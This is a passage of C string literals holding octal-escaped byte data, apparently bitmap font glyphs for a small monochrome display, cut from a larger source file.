"\7\1\0\0\0\0\7\7\7\7\0\0\0\1\3\3\7\7\7\7\17\17\7\7\7\7\3\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\340\360\360\370\374|~>>\36\36\36\36\36\36\36>>|\374\370\370" "\360\340@\0\0\0\340\374\377\377\377\177\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3" "\1\0\0\0\0\0\77\377\377\377\377\360\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\1\7\17\77\177\177\376\374\370\360\340\340\300\300\300\300\300\300\300\340\340\360\360\370\374" "x \0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\3\3\3\3\7\3\3\3\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\370" "\370\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\0\0\300\340\360\360\370\370||<<><<<|x\370\360\340\300\377\377\377\377" "\377\0\0\0\0\340\374\377\377\377\177\7\1\0\0\0\0\0\0\0\0\0\0\0\0\1\3\77\377\377\377\377" "\377\0\0\0\0\377\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377\377" "\377\0\0\0\0\0\7\37\177\377\377\376\370\360\340\300\300\200\200\200\200\200\300\300\340\360|\77\377\377\377\377" "\377\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\17\7\7\7\3\3\1\0\0\0\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\360\370\374||>>\36\36\36\36\36\36>>|\374\370\370\360\340\200" "\0\0\0\0\0\340\376\377\377\377\337\303\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\301\377\377\377\377" "\376\200\0\0\0\177\377\377\377\377\343\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\3\0\0\0\0\0\3\17\37\77\177\377\374\370\360\340\340\340\300\300\300\300\300\300\300\340\340\360\360\370x\60" "\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\3\3\3\3\3\7\7\3\3\3\3\3\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\360\370\370||||||||\370\370" "\360\360\340\300\0\0\0\0\0\0\0\0\0\374\377\377\377\377\37\3\1\0\0\0\0\0\0\0\0\0\0\0" "\1\7\7\1\0\0\360\360\360\360\360\360\360\377\377\377\377\377\360\360\360\360\360\360\360\360\360\360\360\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\360\370\374\374~>>\36\36\36\36\36>>|\370\360\370\370\274<\36\36" "\36\36\36\30\0\0\177\377\377\377\377\343\200\0\0\0\0\0\0\0\0\0\0\0\301\377\377\377\377~\0\0" "\0\0\0\0\0\0\0\1\203\307\357\377\77\77>><<<<<>>\37\37\17\7\3\1\0\0\0" "\0\0\0\0\0\0\0\17\77\277\377\374\370\370\370\370\370\360\360\360\360\360\360\360\360\360\360\360\360\340\340\300" "\200\0\0\0\360\374\376\377\377\317\203\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\201\303\377\377\377" "\377\177\0\0\0\3\7\17\17\37\37\37\36>>>>><<>>>>>\37\37\37\17\17\7\3" "\1\0\0\0\0\0\0\370\370\370\370\370\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\377\377\377\377\377\0\300\340\340\360xx<<<<<||\374\374\370\360\340\300" "\0\0\0\0\0\0\0\377\377\377\377\377\77\7\3\1\0\0\0\0\0\0\0\0\0\0\0\3\377\377\377\377" "\377\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\360\340\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0<<<<<<<<\374\374\374\374\374\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\377\377\377\377\377\200\200\200\200\200\200\200\200\0\0" "\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\360\340\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0<<<<<<<<<<<<\374\374\374\374\374\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\300\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377\377\177\0\0\0\0" "\0\0\0\0\0\4\16\17\37\77>>|||||||<>\77\37\37\17\7\1\0\0\0\0\0" "\0\0\0\0\0\0\370\370\370\370\370\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374|<\34\14" "\4\0\0\0\0\0\377\377\377\377\377\0\0\200\300\340\360\370\374\376\77\37\17\7\7\3\1\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377>\37\17\7\7\7\37\77\177\377\376\370\360\340\300\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\3\7\17\77\177\377\376\374\370\360\300" "\200\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\7\7" "\7\7\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0xxxxxxxxxx\370\370\370\370\370\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\200\377\377\377\377\377\200\200\200\200\200\200\200\200\200\200" "\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\376\376\376\376\376\340\370<\34\36\36\36~\376\376\374\370\340\360\370<\36\36\36\36>\376\376" "\374\374\360\0\377\377\377\377\377\3\0\0\0\0\0\0\0\377\377\377\377\377\3\0\0\0\0\0\0\0\377\377" "\377\377\377\0\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377" "\377\377\377\0\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377" "\377\377\377\0\3\3\3\3\3\0\0\0\0\0\0\0\0\3\3\3\3\3\0\0\0\0\0\0\0\0\3\3" "\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\376\376\376\376\376\200\340\360\360x<<\36\36\36\36\36>>~\376\374\370\360\340" "\200\0\0\0\0\0\0\377\377\377\377\377\37\3\1\0\0\0\0\0\0\0\0\0\0\0\0\1\377\377\377\377" "\377\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\0\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\3" "\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\340\360\370\370||<<<><<||\374\370\370\360\340\300\200" "\0\0\0\0\0\300\370\376\377\377\377\17\3\1\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\77\377\377" "\377\374\360\0\0\177\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377" "\377\377\377\0\0\0\3\17\77\177\377\376\374\360\340\300\300\200\200\200\200\200\200\300\300\340\360\370\374\377\177\77" "\37\7\1\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\374\374\374\374\374\200\300\340\360xx<<<<><||\374\374\370\360\360\340\300" "\0\0\0\0\0\0\377\377\377\377\377\37\3\1\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\377\377\377" "\377\374\340\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\301\377\377" "\377\377\177\0\0\0\377\377\377\377\377\177\370\360\340\300\300\200\200\200\200\200\200\300\300\340\360\370\376\377\177\77" "\37\7\0\0\0\0\377\377\377\377\377\0\0\1\1\3\7\7\7\7\7\17\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\177\177\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\360\370\374|~>>\36\36\36\36\36\36><|\370\360\300\376\376\376" "\376\376\0\0\0\360\376\377\377\377\77\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\377\377\377\377" "\377\377\0\0\0\77\377\377\377\377\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\0\0\0\0\3\17\37\77\177\377\374\370\360\340\340\300\300\300\300\300\300\340\360\360|>\37\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\1\1\3\3\3\3\7\3\3\3\3\1\1\0\0\0\0\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77" "\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\376\376\376\376\376\200\300\360\370\370|<>>\36\36\36\36\36\36>~\374" "\374x\20\0\0\0\0\0\0\377\377\377\377\377\177\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\1\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\360\370\370\370||<<<><<<||\370\370\360\360\340\300" "\200\0\0\0\0\0\0\0\37\177\377\377\377\371\340\300\300\200\200\200\0\0\0\0\0\0\0\1\3\7\7\1" "\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\17\17\17\37\37\37>>~\374\374\370\360\340" "\300\0\0\0\0\0`\370\376\370\360\360\340\300\300\300\200\200\200\200\200\200\200\300\300\300\340\360\377\377\377\177" "\37\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\376\376\376\377\17\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0<<<<<<<\274\377\377\377\377\377<<<<<<<<<<<\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\7\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\177\377\377\377\376\340\300\300\200\200\200\200\200\300\300\340\340" "\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\17\7\7\7\7\3\3\3" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\374\374\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\374" "\374\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377" "\377\0\0\0\0\0\7\37\177\377\377\377\370\340\300\300\200\200\200\200\200\300\300\340\340\360|\77\377\377\377\377" "\377\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\7\7\7\7\3\3\1\0\0\0\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\34|\374\374\374\364\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\370\374\374" "\374<\0\0\0\0\0\3\17\177\377\377\376\370\300\0\0\0\0\0\0\0\0\0\0\200\340\374\377\377\77\7" "\1\0\0\0\0\0\0\0\0\0\1\17\77\377\377\377\370\340\0\0\0\0\300\360\376\377\177\37\7\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\77\377\377\377\374\370\377\377\77\17\3\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\7\7\7\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\374\374\374\354\0\0\0\0\0\0\0\0\0\200\340\340\340\200\0\0\0\0\0\0\0\0\0\374" "\374\374\374\14\37\377\377\377\374\200\0\0\0\0\0\200\370\377\377\77\377\377\374\340\0\0\0\0\0\0\374\377" "\377\377\7\0\0\3\177\377\377\377\360\0\0\200\370\377\377\37\1\0\3\37\377\377\376\360\200\0\0\374\377\377" "\177\1\0\0\0\0\0\17\377\377\377\376\370\377\377\17\0\0\0\0\0\0\1\17\377\377\377\370\376\377\377\37" "\0\0\0\0\0\0\0\0\1\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\14\34|\374\374\370\360\300\200\0\0\0\0\0\0\0\0\0\200\340\360\374\374|<\14" "\4\0\0\0\0\0\0\0\0\0\3\7\17\77\177\376\374\370\340\300\340\370\374\377\177\37\17\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\361\377\377\377\77\377\377\377\360\340\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\370\374\377\177\77\17\7\1\0\0\0\1\7\17\37\177\377\376\370\360\300\200" "\0\0\0\0\0\4\6\7\7\7\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7\7\7" "\7\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\4<\374\374\374\374\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\374\374\374" "\374<\4\0\0\0\0\0\7\37\377\377\377\374\360\200\0\0\0\0\0\0\0\0\0\200\360\376\377\377\77\17" "\1\0\0\0\0\0\0\0\0\0\0\3\17\177\377\377\376\360\300\0\0\0\200\360\374\377\377\77\17\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\77\377\377\376\370\374\377\377\77\17\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\361\377\377\377\77\7\1\0\0\0\0\0\0\0\0" "\0\0\0\0\34\77>|||x|||>\77\37\17\17\3\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0<<<<<<<<<<<<<<<<<<\274\374\374\374\374\374|<" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370\374\376\177\77\17\7\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\374\376\177\77\37\17\3\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\300\360\370\374\376\377\237\217\207\203\201\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200" "\300\300\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\300\300\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\374\376\377\377\37\17\7\7\7\7\3\3\3\3\3\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\200\300\360\377\377\377\77\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\17\17\37\37\37\37\77\377\371\361\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\300\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\37\77\177\377\376\374\370\360\360\360\360\360\360\360\360\360\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\370\370\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\3\3\3\3\3\3\7\7\7\7\17\37\177\377\376\374\370\340\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\77\177\377\377\370\300\200\200\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\361\371\377\177\77\37\37\37" "\17\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\377\377\377\377\3\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\360\360\360\360\360\360\360\360\360\370\370\376\377\177\77\77\17\3\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\340\360\370\374~>\36\36\36\36>>|\374\370\360\340\300\300\300\200\300\300\340\360\370" "\376|\70\0\0\0\1\1\1\0\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\7\3\3\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 